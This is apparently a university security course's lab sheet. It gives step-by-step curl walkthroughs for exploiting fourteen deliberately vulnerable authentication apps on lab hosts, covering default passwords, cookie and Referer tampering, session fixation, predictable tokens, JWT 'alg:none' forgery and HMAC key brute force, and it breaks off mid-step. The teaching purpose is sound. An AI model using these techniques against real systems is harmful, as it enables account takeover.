Lecture Notes
This lecture will present an overview over issues with authentication methods, especially session handling in Web applications.
Download here or here with notes.
The notes were generated by AI and reviewed by faculty. Please report any issue you find.
Practical tasks
Every one of the fourteen apps looks like a normal, boring internal tool: a router admin page, an expense tool, a webmail client. Each one hides exactly one deliberate authentication mistake, and you have just heard that mistake named on a slide. This sheet turns each slide bullet into something you break with your own hands.
Each app below gives you three things, in order:
- Setup — what the app is and what the “normal” use of it looks like.
- Steps — exact commands or clicks to do, one at a time. Do them in order. Each step tells you what to run and what you should see right after running it.
- Why it works — the one-paragraph explanation of the actual bug, once you have already seen it happen.
We use two tools throughout:
curl, because it shows you the raw request and response with nothing hidden. Everycurlcommand in this guide is complete and ready to paste — copy it, run it, and read the output before reading on.- Your browser’s developer tools, for the handful of steps where you need to look at or edit a cookie. To open them: press F12, or right-click the page and choose Inspect. The cookie list lives under the Application tab (Chrome/Edge) or the Storage tab (Firefox) → Cookies → the site’s address.
If a command uses -c jar.txt -b jar.txt, that tells curl to save cookies to a file
named jar.txt and send them back on the next request — this is how you keep a login
session across several curl commands, the same way a browser keeps you logged in
across pages. Use a fresh, short name like jar.txt in whatever folder you are working
in; it will be created the first time you run a command that uses -c.
1. Before you start
1.1 What “authentication failure” means here
Authentication answers one question: who is making this request? Every app in this lab answers that question wrong, in one of three ways:
- It trusts something it should not — a cookie, a header, or a token’s own claim about itself — instead of checking its own records.
- It uses a secret that is too weak, too exposed, or too easy to recover.
- It forgets to actually invalidate a session or an identifier when it should.
Keep this short list in your head. By the end of the sheet you will be able to sort every one of the fourteen apps into one of these three buckets.
1.2 Your targets
| # | App | Address | Value |
|---|---|---|---|
| auth1 | NetGuard Router | http://auth1.chal.deti:8060 |
100 |
| auth2 | Harbor Wiki | http://auth2.chal.deti:8061 |
100 |
| auth3 | QuickShip Tracker | http://auth3.chal.deti:8062 |
100 |
| auth4 | ExpenseFlow | http://auth4.chal.deti:8063 |
100 |
| auth5 | Alma Portal | http://auth5.chal.deti:8064 |
150 |
| auth6 | Brightleaf | http://auth6.chal.deti:8065 |
150 |
| auth7 | ConnectAPI Partner Gateway | http://auth7.chal.deti:8066 |
150 |
| auth8 | PocketBank Lite | http://auth8.chal.deti:8067 |
150 |
| auth9 | DeskHero Helpdesk | http://auth9.chal.deti:8068 |
150 |
| auth10 | PeopleFirst HR | http://auth10.chal.deti:8069 |
100 |
| auth11 | InboxNow Webmail | http://auth11.chal.deti:8070 |
150 |
| auth12 | Cornerstone CMS | http://auth12.chal.deti:8071 |
100 |
| auth13 | RemoteLink VPN | http://auth13.chal.deti:8072 |
150 |
| auth14 | FernBank Online | http://auth14.chal.deti:8073 |
100 |
Total: 1750 points. The CTFd entry for each is a short, unrelated verse — it will not help you, and it is not supposed to.
1.3 Rules of engagement
- Only these fourteen targets, and only from your own lab VM. Do not touch another student’s container or any management host.
- The goal is to reach one specific page per app — the one holding the flag. You do not need to delete, corrupt, or lock anything to get there.
- A couple of these apps are specifically about guessing a weak password. That is fine, and expected, against the one account each of those apps hands you. Do not extend that to other apps’ login forms.
- The flag is shared and it rotates. One flag value is live per app at any moment, for everyone. The moment someone submits it correctly, a new one replaces it. If CTFd rejects the flag you just copied, someone solved it a few seconds before you — just reload the page you got it from and copy the new value.
- This guide never shows you a flag. Every section below stops right at the door, never inside the room.
1.4 Before you touch any app: confirm your tools work
Open a terminal and run:
curl -i http://auth1.chal.deti:8060/
-i means “show me the response headers too, not just the body”. You should see a
line starting HTTP/1.1 200 OK, followed by some headers, followed by a chunk of
HTML. If you instead get “Could not resolve host” or a connection error, stop here and
sort out your network/DNS before continuing — nothing below will work either.
2. The shape of the problem
Before reading each app’s explanation, try to guess which bucket from §1.1 it belongs to, from the symptom alone:
| Symptom you will notice | Bucket | Apps |
|---|---|---|
| A login prompt accepts a credential you found by guessing | weak secret | auth1, auth13 |
| The server trusts a value your browser sent, that you could have edited | trusts the client | auth2, auth4 |
| A session keeps working across a login or logout boundary it should not | not invalidated | auth3, auth5, auth6, auth9, auth14 |
| A signed token stops meaning anything once you edit it the right way | trusts the client (the token itself) | auth7, auth8 |
| Knowing that an account exists turns out to be most of the attack | weak secret / process | auth10, auth11, auth12 |
Fill this table in from memory once you reach §4 — if you can, you have understood the lab.
3. The fourteen applications
3.1 Weak and exposed credentials
auth1 — NetGuard Router (:8060, 100 pts)
Setup. A home-router admin page. GET / is public and shows nothing interesting.
GET /admin shows the router’s status — but only if you authenticate first, using HTTP
Basic auth (the grey popup box your browser shows for this kind of login; the raw
mechanism is an Authorization: Basic ... header on the request).
Steps.
-
Confirm
/adminis locked:curl -i http://auth1.chal.deti:8060/adminYou should see
HTTP/1.1 401 UNAUTHORIZEDand a headerWWW-Authenticate: Basic realm="NetGuard Router Admin". This confirms the page uses Basic auth and is currently refusing you. -
Basic auth’s username and password travel as
curl -u user:pass. Try the single most common router login first:curl -i -u admin:admin http://auth1.chal.deti:8060/adminStill
401? Try the next candidate. A short list that covers most cheap routers:admin:admin,admin:password,admin:12345,admin:admin123,admin:letmein,root:root. Run the same command with each pair until one answers200 OKinstead of401. -
Once you get
200 OK, look at the HTML body — it is the router’s status page, with an “ISP support token” field near the bottom. That field is your flag.
Why it works. Basic auth itself is a perfectly normal mechanism — the problem is
entirely the credential behind it. This router shipped with a default login that
nobody ever bothered to change, from a small, well-known list every cheap router uses.
Also notice: every request you just sent repeated the full Authorization: Basic ... header. Decode it yourself (echo '<the base64 part>' | base64 -d) — Basic auth
resends your password on every single request, in a trivially reversible encoding.
Over plain HTTP, anyone watching the network sees it every time.
auth10 — PeopleFirst HR (:8069, 100 pts)
Setup. An employee self-service portal. The home page lists the team by name and
role, and tells you the format employee IDs follow (first initial + last name,
lowercase — e.g. “Jane Doe” → jdoe). A login form asks for an employee ID and a
password.
Steps.
-
Fetch the home page and read the team list:
curl -s http://auth10.chal.deti:8069/ | grep -A1 "<td>"Pick one name from the list and turn it into an employee ID using the stated format.
-
Try logging in with that ID and an obviously wrong password:
curl -s -X POST http://auth10.chal.deti:8069/login \ --data-urlencode "emp_id=THE_ID_YOU_BUILT" \ --data-urlencode "password=definitely-wrong"Read the error message in the output carefully.
-
Now try again with a made-up employee ID that you are confident does not belong to anyone on the team (e.g.
zzzznotreal):curl -s -X POST http://auth10.chal.deti:8069/login \ --data-urlencode "emp_id=zzzznotreal" \ --data-urlencode "password=definitely-wrong" -
Compare the two error messages word for word. One says the ID does not exist; the other says the password is wrong. This difference means you can confirm, for any ID you guess, whether it actually belongs to someone — without ever needing a correct password.
-
Repeat step 2 for every name on the team list, and note which IDs come back “incorrect password” (meaning: real) versus “no such employee ID” (meaning: made up). Now think about how a brand-new employee’s first password usually gets set, and whether every single employee is diligent about changing it afterwards. Try the same obvious “first-day” password (a short, common word-plus-digits combination — the kind of string an IT helpdesk types for everyone) against each confirmed-real ID, one at a time, until one of them logs you in.
-
Once logged in, you land on
/record. If the account you logged into has the right role, this page shows an extra field — your flag.
Why it works. This is two separate small mistakes that only become dangerous together. First, the login endpoint leaks whether an account exists at all, through two different error messages (this is called user enumeration). Second, new accounts are handed a default password that is never forced to change. Neither mistake alone gets you in. Knowing which accounts are real, plus knowing one of them never rotated off the shared default, does.
auth12 — Cornerstone CMS (:8071, 100 pts)
Setup. A content manager for a marketing site. There is a login form at /login,
and somewhere on the host, forgotten, sits an old database export from a previous
deployment.
Steps.
-
Nothing on the site links to the export — start the way you would against any real target: check what the site tells crawlers not to look at.
curl -s http://auth12.chal.deti:8071/robots.txtYou should see a
Disallow:line naming a folder. Remember the lesson from the infoleak suite’s leak8, if you did that sheet:Disallowis a request crawlers choose to honour, not an access restriction — the folder itself is still served to anyone who asks. -
Request that folder (with a trailing slash):
curl -s http://auth12.chal.deti:8071/THE_DISALLOWED_PATH/Directory listing is enabled here — you get back a small index of real filenames, not a 403 or 404. One of them ends in
.sql.bak; that is a database backup. -
Fetch that file:
curl -s http://auth12.chal.deti:8071/THE_DISALLOWED_PATH/THE_BAK_FILE_YOU_FOUNDYou should get back plain text — a SQL
INSERTstatement, not a web page. -
Read the output. It names the
adminaccount and a password column that is commented as “encrypted”. Look at the actual value: does it look like a hash (fixed length, meaningless-looking) or does it look like something you could decode? -
If it looks decodable, it is almost certainly base64 — the same encoding used for every part of a JWT elsewhere in this lab. Decode it:
echo 'PASTE_THE_VALUE_HERE' | base64 -dThis gives you back the real admin password, in plain text.
-
Log in as
adminwith that password:curl -s -c jar.txt -X POST http://auth12.chal.deti:8071/login \ --data-urlencode "username=admin" \ --data-urlencode "password=THE_DECODED_PASSWORD" curl -s -b jar.txt http://auth12.chal.deti:8071/dashboardThe second command’s output is the admin dashboard, which carries the flag.
Why it works. Two mistakes, stacked. First, an old export was left reachable at a guessable URL — nobody cleaned it up after the “staging” phase ended. Second, the password inside it was only encoded, not actually encrypted or hashed — “encrypted” was the wrong word for what the developers did, and base64 has no key, so anyone can reverse it. Notice that the leaked file did not hand you the flag directly — only a password. You still had to use it to log in like a normal user would.
auth13 — RemoteLink VPN (:8072, 150 pts)
Setup. A VPN self-service portal. The landing page names the one seeded account,
vpnuser, and says its password is “not shown” — meaning: you are expected to find
it.
Steps.
-
Send a wrong password a few times in a row and time it:
time curl -s -o /dev/null -w "%{http_code}\n" -X POST http://auth13.chal.deti:8072/login \ --data-urlencode "username=vpnuser" --data-urlencode "password=wrong1"Run it two or three more times with different wrong guesses. Notice: every attempt comes back instantly, every time, with no delay, no CAPTCHA, and no “too many attempts” message. Nothing is slowing you down.
-
Because nothing slows you down, a small, human-sized list of passwords is enough to try by hand, one at a time — this is exactly what a real attacker would do first, before ever reaching for a tool. Think about what a VPN account at a company might be set up with: the most common password in the world, the keyboard patterns people fall back on, a product name plus a digit. Write down four or five guesses of your own first. Then try each one, one request at a time, reusing the same command with just the password changed:
curl -s -c jar.txt -X POST http://auth13.chal.deti:8072/login \ --data-urlencode "username=vpnuser" --data-urlencode "password=YOUR_GUESS_HERE"Watch the output each time: a failed login re-sends the login page and the text says “Invalid credentials”; a correct one redirects you somewhere else instead. If none of your own guesses land after five or six tries, broaden the pattern (try the same pattern in a different case, or the next most common keyboard pattern) rather than reaching for a big downloaded wordlist — the point here is the absence of a limit, not the size of the dictionary.
-
Once a guess does not come back “Invalid credentials”, your session (
jar.txt) is logged in. Fetch the dashboard:curl -s -b jar.txt http://auth13.chal.deti:8072/dashboardThis is where the flag is.
Why it works. The missing control is rate limiting. OWASP specifically recommends a progressive delay (not a hard lockout, which an attacker could abuse to lock other people out — a denial-of-service trick). Without any slowdown at all, the only thing standing between an attacker and the account is the password’s own strength — and a password that merely feels obscure to a human is often trivial for a machine that can try dozens of guesses per second with zero penalty.
3.2 Trusting the client
auth2 — Harbor Wiki (:8061, 100 pts)
Setup. A team wiki. The home page is public, and somewhere on it is a link toward a staff area. That staff page mentions a second, deeper internal page by name — but does not link to it; there is nothing to click. Neither path is given here — find them yourself in the next step.
Steps.
-
Fetch the home page and read its HTML (
curl -s http://auth2.chal.deti:8061/, or just open it in a browser and view the page source). Follow the link it offers toward the staff area. Read that page’s text carefully too — not just its links; it names a second path in plain prose, with an explanation of why that page isn’t linked yet. Write down both paths — you will need both in a moment. -
Request the second (deeper) page directly, on its own, with nothing special:
curl -i http://auth2.chal.deti:8061/THE_SECOND_PATH_YOU_FOUNDYou should get
403 FORBIDDEN. There is no link anywhere on the site that reaches this page for you — whatever gets you in, you have to build yourself. -
Re-read what the staff page’s text actually said this second page checks for: something your browser “reports”, about which page you came from. That is a description of an HTTP header — specifically the one a browser normally sets by itself, automatically, whenever you click a link, to tell the next server which page you were just looking at. It has a name you’ve likely heard before; it is not a cookie and it is not anything related to login. Since there is no link to click here, nothing will set it for you — you have to add it to the request yourself.
-
Add that header to your request by hand with
curl, giving it the first path you found in step 1 (the staff page) as its value, while requesting the second:curl -i http://auth2.chal.deti:8061/THE_SECOND_PATH_YOU_FOUND \ -H "HEADER_NAME: http://auth2.chal.deti:8061/THE_FIRST_PATH_YOU_FOUND"This time you should get
200 OK, and the page’s content — including the flag.
Why it works. The Referer header tells a server which page you say you came
from. It is written entirely by the client — your browser decides its value, and
curl will happily put anything you tell it to, as you just did. RFC 7231
is explicit that this header is informational only, never a security control. There was
no login, no session, no real check behind this “staff-only” wall at all — only a
header you can set yourself.
auth4 — ExpenseFlow (:8063, 100 pts)
Setup. An expense-approval tool. A seeded account, employee / employee123, can
log in, submit expense reports, and see a “Manager console” link right there on its
own dashboard. Following that link as the plain employee account you were given gets
you a plain 403 — which is correct, for that account.
Steps.
-
Log in and save the session:
curl -s -c jar.txt -X POST http://auth4.chal.deti:8063/login \ --data-urlencode "username=employee" --data-urlencode "password=employee123" -
Look at what cookies you were just given:
cat jar.txtYou should see two cookies: one named
session(long, unreadable — this is the real, signed session) and one namedrole, with the plain valueemployee. That second one is readable and, as you are about to prove, writable too. -
Try the manager page as-is first:
curl -s -b jar.txt http://auth4.chal.deti:8063/managerYou should get a
403 Forbiddenpage — logged in, but refused. -
The page’s own title is “ExpenseFlow” and step 3 just refused you as
employee. What other role name would a company’s own expense tool reasonably have, that would be allowed to approve things? Pick your best guess and change therolecookie’s value to it — keeping thesessioncookie exactly as it is. Two ways to do that:- In the browser: log in normally at
/login, open dev tools (F12) → Application (Chrome/Edge) or Storage (Firefox) → Cookies → the site’s address, find the row namedrole, double-click its value, type your guess, press Enter, then reload/manager. - With
curl: openjar.txtin a text editor, find the line that ends in\temployee(a tab character, then the wordemployee, at the very end of the line), and change just that last word to your guess — leave the rest of the line, and thesessionline above it, untouched. Save the file, then repeat:curl -s -b jar.txt http://auth4.chal.deti:8063/manager
If your first guess does not work, you got the mechanism right even if the exact word was wrong — try another plausible role name. Once it works, this request succeeds and the page contains the flag.
- In the browser: log in normally at
Why it works. The “Manager console” link is just a normal, always-visible item in
the app’s own navigation — an employee sees it and can click it, and is refused with a
403, exactly as a real internal tool would treat a low-privilege account (there is no
client-side trick hiding or revealing it). The bug is that the server decides whether to
allow /manager by reading the client-writable role cookie, instead of the role it
actually recorded for your session when you logged in. Anything the client can read, the
client can also rewrite — a cookie is never proof of anything on its own; only the
server’s own records are.
3.3 Session identifiers that don’t do their job
auth3 — QuickShip Tracker (:8062, 100 pts)
Setup. A parcel-tracking page. No account is needed — just a personal tracking link, which the home page hands you directly (it represents the link a shipping confirmation email would contain).
Steps.
-
Fetch the home page and find your own tracking link. The link appears twice in the HTML (once as the clickable address, once as the visible text), so pipe through
head -1to keep only the first copy:curl -s http://auth3.chal.deti:8062/ | grep -o '/track?sid=[a-f0-9]*' | head -1This prints something like
/track?sid=ddb058da0fe3ba87. Copy that whole path and paste it onto the end of the base address to follow it:curl -s "http://auth3.chal.deti:8062/track?sid=ddb058da0fe3ba87"(Use the path you got in the previous command — yours will be a different value.) This shows your own parcel’s status. Nothing sensitive here.
-
Now look at the public “customer stories” page:
curl -s http://auth3.chal.deti:8062/storiesRead the testimonial text closely — not just the quote, the whole paragraph.
-
One of the testimonials was pasted in by a support agent, and it still contains the full tracking link that was emailed to a different, VIP customer — tracking number and all. Extract that link’s
sid=value and follow it the same way you followed your own:curl -s "http://auth3.chal.deti:8062/track?sid=THE_LEAKED_SID"This page shows a “concierge support token” field — your flag.
Why it works. This app has no login at all: the tracking identifier (sid) is
the entire access check for a parcel. Whoever holds the link holds the access, full
stop. URLs leak far more than people expect — browser history, the Referer header
of the next page you visit, and, as happened here, a well-meaning employee’s
copy-paste into a public page. Treating a bare identifier in a URL as if it were a
secret is the mistake, no matter how it eventually leaks.
auth5 — Alma Portal (:8064, 150 pts)
Setup. A university portal. Just loading the public course catalog — before you log in as anyone — gives your browser a session cookie. The page also mentions a “registrar’s link checker” service, meant to verify that a shared link still works.
Steps.
-
Visit the site and capture the cookie you get before logging in as anyone:
curl -s -c jar.txt http://auth5.chal.deti:8064/ > /dev/null cat jar.txtNote the
sidvalue — call itMY_SID. This is a real, trackable session, and you have it with zero authentication. -
The dashboard should refuse this session, since nobody has signed in on it yet:
curl -s -b jar.txt http://auth5.chal.deti:8064/dashboardYou should be redirected back to the home page.
-
Now use the “link checker”. Behind the scenes, this feature opens the link as your own session (the request’s
sidcookie) and signs the university advisor in on that exact session — simulating what would happen if a real advisor clicked a link you sent them. Submit the form with your own session attached:curl -s -b jar.txt -X POST http://auth5.chal.deti:8064/helpdesk/verify-link \ --data-urlencode "link=http://auth5.chal.deti:8064/"It should answer something like “Link verified.” — it just signed the advisor in, using the session id you supplied.
-
Go back to your own cookie jar — the one you captured in step 1, untouched — and check the dashboard again:
curl -s -b jar.txt http://auth5.chal.deti:8064/dashboardThis time it succeeds, and shows the flag. You are now signed in as the advisor, using a session id you picked yourself, before anyone had logged in on it.
Why it works. This is called session fixation. The identifier that marks “this is session #X” should be thrown away and replaced the moment anyone authenticates on it — otherwise, whoever already knew #X before the login still owns it afterwards. In the real world an attacker mails a victim a crafted “click here” link carrying a known session id; here, the link-checker bot plays the part of the person who clicks it. The mechanism — and the fix, which is simply issue a brand-new session id at login — is exactly the same either way.
auth6 — Brightleaf (:8065, 150 pts)
Setup. One company, two websites: a marketing microsite and the real internal app,
sharing one cookie because they live under the same parent domain. For this lab, both
sites answer on the same address and port — you choose which one you are talking to by
setting the Host header. The marketing site is marketing.auth6.chal.deti; the real
app is just auth6.chal.deti.
Start on the real app’s home page (http://auth6.chal.deti:8065/). It introduces the
manager console (the /dashboard), a registrar’s link checker (the
/helpdesk/verify-link form), and a “Grow with us” link to the marketing site —
so you can reach everything from the page. The marketing site is also reachable by
typing its name in the address bar (http://marketing.auth6.chal.deti:8065/), because
the lab’s *.chal.deti wildcard resolves it to the same box; the app tells them apart
by the Host header.
Steps.
-
Open the marketing site — click the “Grow with us” link on the home page (or, with curl, send the
Hostheader):curl -s -H "Host: marketing.auth6.chal.deti" http://auth6.chal.deti:8065/It advertises a “leave a comment, we’ll remember you across all of Brightleaf” form at
/plant. -
Pick an id of your own — anything will do, but make it something unlikely to collide with a classmate doing this at the same time (letters and digits only, something like your own lab username plus a number, e.g.
yourname4271). “Plant” it as the shared cookie, via the marketing site:curl -s -H "Host: marketing.auth6.chal.deti" -X POST http://auth6.chal.deti:8065/plant \ --data-urlencode "sid=yourname4271"The rest of this walkthrough uses
yourname4271— substitute your own chosen id everywhere you see it below. -
Switch to the real app (no special
Hostheader now) and open the console:curl -s --cookie "sid=yourname4271" http://auth6.chal.deti:8065/dashboardYou are not signed in yet — but note the console shows your session id (
yourname4271). That is the giveaway: thesidthe marketing microsite set is the same session the real app is looking at, so the two sites share one cookie. If the console unexpectedly already shows the flag, someone else picked the same id recently (an id stays authenticated for a few minutes after it’s used, as a classroom with many people trying this at once would expect) — pick a more distinctive id and start again from step 2. Either way, don’t treat an accidental hit like this as having solved anything; the point is the chain in steps 4–5, not the lucky collision. -
Use the real app’s own “link checker” (same idea as auth5) to have the branch manager authenticate on that exact id:
curl -s -X POST http://auth6.chal.deti:8065/helpdesk/verify-link \ --data-urlencode "sid=yourname4271" -
Now present the same id to the dashboard again:
curl -s --cookie "sid=yourname4271" http://auth6.chal.deti:8065/dashboardThis time it succeeds — you are signed in as the manager, and the page shows the flag.
Why it works. Same root bug as auth5 — a session id that survives a login it
shouldn’t — but delivered differently: a lower-trust site (the marketing microsite,
where anyone can post a “comment”) shares a cookie scope with the real,
higher-trust app. A cookie’s Domain attribute should never be wider than the one
single site that actually needs it; here it was shared across both, so the weaker site
could plant a value the stronger one would later trust.
auth9 — DeskHero Helpdesk (:8068, 150 pts)
Setup. An IT ticketing system. A seeded agent account (agent / agent123) can
log in. There is also a public endpoint that triggers an automatic “on-call rotation
refresh” — a background job that signs the admin integration account in periodically.
After sign-in you land on the agent queue: your open tickets, an on-call
widget with a Rotate on-call now button (it POSTs to the public
/bot/refresh-oncall endpoint — the background job, callable on demand), and an
Admin ticket queue link (/ticket/admin) that needs an admin session, which
you do not have.
Steps.
-
Log in as the seeded agent and look at the token you get back:
curl -s -c jar.txt -X POST http://auth9.chal.deti:8068/login \ --data-urlencode "username=agent" --data-urlencode "password=agent123" > /dev/null cat jar.txtThe
tokencookie is a long string of hex characters — the output of a hash function. A hash is one-way, so you cannot reverse it directly — but you might be able to reproduce it, if you can guess everything that went into it. -
Trigger the on-call refresh — the Rotate on-call now button on the agent queue page (or POST directly to
/bot/refresh-oncall) — and note your clock immediately before and after:date +%s; curl -s -X POST http://auth9.chal.deti:8068/bot/refresh-oncall; date +%sThis signs the admin account in right now, server-side — but, unlike your own login, it does not hand you the resulting token.
-
The token format is
sha1("admin:" + the unix timestamp at that moment). Check this against your own token from step 1: computesha1("agent:" + a timestamp near when you logged in)yourself —printf "agent:1793308679" | sha1sum(use a timestamp close to when you actually ran step 1, from
date +%srun around that time) — and see that it is at least the right shape, even if you don’t land on the exact second. That confirms the recipe before you commit to automating it. -
You know the admin token’s moment to within a couple of seconds (your two
date +%soutputs from step 2, padded a little either way for network delay). Now write your own small loop — bash or Python, whichever you’re faster in — that: for every whole-second timestamp in that window, builds the string"admin:" + timestamp, hashes it with SHA-1, and sends the result as thetokencookie to/ticket/admin. Stop (and print the response) the moment one comes back without a403.Two pieces you’ll need:
sha1sumreads from standard input and prints the hash followed by a filename placeholder (echo "text" | sha1sumgives you<hash> -, so you’ll want to cut just the hash part); and aforloop over a numeric range in bash isfor t in $(seq LOW HIGH); do ... ; done. Assemble the rest yourself. -
One timestamp in your window will hit, and the ticket page will print the admin ticket, flag included.
Why it works. A session token must come from a cryptographically secure random source — something with no pattern an outsider could reconstruct. A hash of a guessable input, even one that looks random at a glance (like a timestamp), carries only as much real uncertainty as the input itself. Here, “the current time, give or take network latency” is a search space of maybe a dozen values — not the billions a real random token would need.
auth14 — FernBank Online (:8073, 100 pts)
Setup. An online-banking console. There is a public “ops diagnostics” page, and a nightly automated “shift report” probe that signs in as the branch manager, pulls a report, and signs out again.
Steps.
-
Open the console and note your own session: the bank signs every visitor in as an ordinary customer and the dashboard shows your session id.
curl -s -c jar.txt http://auth14.chal.deti:8073/dashboard | grep -i "session id"Your dashboard has no manager token — you are a low-privilege customer. The exploit is to pivot from this session to a higher-privilege one.
-
Trigger the shift-report probe (the Branch staff panel does the same POST):
curl -s -X POST http://auth14.chal.deti:8073/bot/manager-shift-reportIt answers something short like “shift report complete” — it does not hand you any session id directly.
-
Read the public diagnostics page, which logs recent session activity for troubleshooting:
curl -s http://auth14.chal.deti:8073/diagnosticsLook at the most recent entry. It names a session id, with a note that it belongs to the “manager shift-report probe” whose “session [was] closed by client” — i.e. one that has already logged out.
-
Take that session id and swap it in as your own cookie to the dashboard (replace the
sidvalue — don’t add a second one):curl -s --cookie "sid=THE_ID_FROM_DIAGNOSTICS" http://auth14.chal.deti:8073/dashboardIt should work, and show the flag — even though the probe supposedly “closed” this session a moment earlier. You pivoted from the customer session the bank gave you to the manager session it failed to invalidate.
Why it works. Two issues here. The smaller one: logging a raw session id anywhere publicly reachable is a leak on its own — the same lesson as auth3, in miniature. The real bug is bigger: “logging out” in this app only ever deleted the browser’s cookie — the server never marked that session as invalid. A session that is still valid after its owner clicks “log out” stays live ammunition for as long as it would normally have lasted, and the real user has no way to take it back.
3.4 Tokens that lie about themselves
auth7 — ConnectAPI Partner Gateway (:8066, 150 pts)
Setup. A B2B API console. A seeded partner (acme / acmepass) can sign in and
receive a token. The token has the classic JWT shape: three parts separated by dots —
header.payload.signature — each part written in base64url. The home page has a
Partner API reference that documents the gateway’s endpoints (including
GET /partner/admin) and how to pass the token — that is where you learn where to
send it.
Steps.
-
Log in and grab the token:
TOKEN=$(curl -s -X POST http://auth7.chal.deti:8066/login \ --data-urlencode "partner=acme" --data-urlencode "secret=acmepass" \ | grep -o '[A-Za-z0-9_-]*\.[A-Za-z0-9_-]*\.[A-Za-z0-9_-]*') echo "$TOKEN" -
Split it into its three parts and decode the first one (the header). Base64url uses
-/_instead of+//and usually drops its padding, so you may needtrand extra=signs before a normal base64 decoder will accept it:HEADER=$(echo "$TOKEN" | cut -d. -f1) echo "$HEADER" | tr '_-' '/+' | base64 -d 2>/dev/null; echoYou should see something like
{"alg":"HS256","typ":"JWT"}— the header names the signing algorithm, in plain text, right there for anyone to read. -
Confirm this legitimate token is not enough on its own:
curl -s -H "Authorization: Bearer $TOKEN" http://auth7.chal.deti:8066/partner/adminYou should get
403 Forbidden— correct, since this token says you areacme, not an admin. -
The real question: who decides how the signature gets checked — the server’s own fixed policy, or whatever the token’s header claims? A JWT’s header is allowed to name an algorithm called
none, which means “do not check any signature at all”. Your job now is to build a token that uses it.You already decoded a header in step 2; encoding is the same idea run backwards. This turns any short piece of JSON into one base64url part (no padding,
-/_instead of+//):printf '{"some":"json"}' | base64 | tr '+/' '-_' | tr -d '='Use that pattern twice: once to encode a header JSON object with
"alg"set tonone(keep"typ":"JWT"alongside it, same as the real header you decoded), and once to encode a payload JSON object with"partner"set to the identity you want to be. Join the two results with a dot, and then add one more dot with nothing after it — an empty third part, because you are claiming no signature is needed. The result should look likeAAAA.BBBB.(two base64url chunks and a trailing dot). -
Present whatever you built:
curl -s -H "Authorization: Bearer YOUR_FORGED_TOKEN_HERE" \ http://auth7.chal.deti:8066/partner/adminIf the server answers
403again, check your JSON against the real header from step 2 for typos, and double-check the trailing dot is there. Once it is right, this works — no password, no real signature, just a token that asked the server to skip checking it, and the server did.
Why it works. The verifier decided how to check the signature by reading the
token’s own alg field, instead of enforcing one fixed algorithm server-side. A
token that is allowed to say “please don’t verify me” and gets obeyed is not verified
at all. The fix is one sentence: the server picks the algorithm, always, and never asks
the token’s opinion.
auth8 — PocketBank Lite (:8067, 150 pts)
Setup. A mobile-banking console. A seeded account (customer / customer123)
signs in and gets a token with the same three-part shape as auth7 — but this verifier
is implemented correctly: it will not accept an “alg: none” token like the one you just
built. The weakness here is somewhere else.
One difference from auth7: after sign-in, the page shows only the banking
dashboard. The token is not printed anywhere — the app stores it in a token
cookie, the way a real web app would. So the token has to be read from the login
response’s Set-Cookie header (or from your browser’s cookie jar).
Steps.
-
Log in and grab your token from the cookie the app sets, then split it into its three raw (still-encoded) parts:
TOKEN=$(curl -s -i -X POST http://auth8.chal.deti:8067/login \ --data-urlencode "account=customer" --data-urlencode "password=customer123" \ | tr -d '\r' | grep -i '^set-cookie:' | grep -o 'token=[^;]*' | cut -d= -f2) HEADER=$(echo "$TOKEN" | cut -d. -f1) PAYLOAD=$(echo "$TOKEN" | cut -d. -f2)The dashboard HTML itself contains no token — only the
Set-Cookieresponse header does. -
Decode the payload the same way you decoded auth7’s header, and read it:
echo "$PAYLOAD" | tr '_-' '/+' | base64 -d 2>/dev/null; echoYou should see your account name and a
"role":"customer"field. -
The signature is
HMAC-SHA256(secret, header + "." + payload). You do not know the secret — but you do know it is short: just four digits, meaning only 10,000 possibilities (0000through9999). That is few enough to try every single one, offline, in under a second — but you have to write that search yourself; nobody hands you a finished cracker in a real engagement either. In Python, the building blocks you need are:- decoding a base64url part back to raw bytes, padding it first (you already did
this by hand with
tr+base64 -d— the library equivalent isbase64.urlsafe_b64decode, after re-adding the=padding it needs); - computing one candidate’s signature:
hmac.new(candidate_secret_bytes, signing_input_bytes, hashlib.sha256).digest(), wheresigning_inputis the header and payload joined by a dot, exactly as they appear in the token; - comparing that to the token’s own (decoded) signature bytes.
Write a short script that loops every four-digit string from
"0000"to"9999", computes the candidate signature for each, and stops as soon as one matches the token’s real signature. Run it against your own token from step 1. It should find the secret in well under a second — if it takes longer, check you are hashing the bytes of the signing input, not a string representation of it. - decoding a base64url part back to raw bytes, padding it first (you already did
this by hand with
-
Now that you have the secret, build a new, correctly-signed token claiming a different identity —
role: adminthis time, rather thancustomer. This is the reverse of step 3’s comparison: instead of checking a signature against a target, compute one from scratch over your own chosen header and payload, using the secret you just found, and base64url-encode the result as the third part. Join all three parts with dots.Present it:
curl -s -H "Authorization: Bearer YOUR_FORGED_TOKEN_HERE" \ http://auth8.chal.deti:8067/accounts/adminThis returns the admin account page, flag included, once the token is built and signed correctly.
Why it works. A correctly-implemented algorithm does not save you from a weak key. HMAC’s entire security rests on its secret being long, random, and never guessable — not on the algorithm’s name. A secret small enough to fit in four digits is brute-forceable offline in a fraction of a second, the moment an attacker has even one sample of a token it signed.
3.5 Account recovery
auth11 — InboxNow Webmail (:8070, 150 pts)
Setup. A webmail client. A seeded account (user / user123) can sign in. The
page footer names a contact address for sign-in trouble — read it; it is more useful
than it looks.
Steps.
-
Use the “forgot password” flow for your own account. The page behaves like a real webmail app: it only says “A reset link has been sent to your email address — check your inbox” and does not show the link — in a real app it would arrive in your mailbox. You cannot read that (fictional) mailbox, so in this test environment the link is left hidden in the page source (a
display: nonediv) instead of being printed on the page. You can still pull it out of the raw HTML withcurl; in the source the link appears twice (once as the clickable address, once as the link text), so pipe throughhead -1to keep just one copy:curl -s -X POST http://auth11.chal.deti:8070/forgot \ --data-urlencode "username=user" | grep -o '/reset/[0-9a-f]*' | head -1You get back something like
/reset/5444ba88e51dcb9ea2c5. -
Run the exact same request again:
curl -s -X POST http://auth11.chal.deti:8070/forgot \ --data-urlencode "username=user" | grep -o '/reset/[0-9a-f]*' | head -1Compare the two reset links. A genuinely random, single-use token would be different every time you ask. Is it the same both times?
-
If the token for
usernever changes, it is not random at all — it must be computed from something that does not change either, and the only thing in this request that fits is the username itself. The footer from Setup names a second account: extract its name (the part before the@in the contact address) and request a reset for it too:curl -s -X POST http://auth11.chal.deti:8070/forgot \ --data-urlencode "username=postmaster" | grep -o '/reset/[0-9a-f]*' | head -1You get back a reset link for that account too — one you were never supposed to be able to request, since you do not control that mailbox.
-
Follow that link and set a new password of your choosing. Paste the path you just got (it starts with
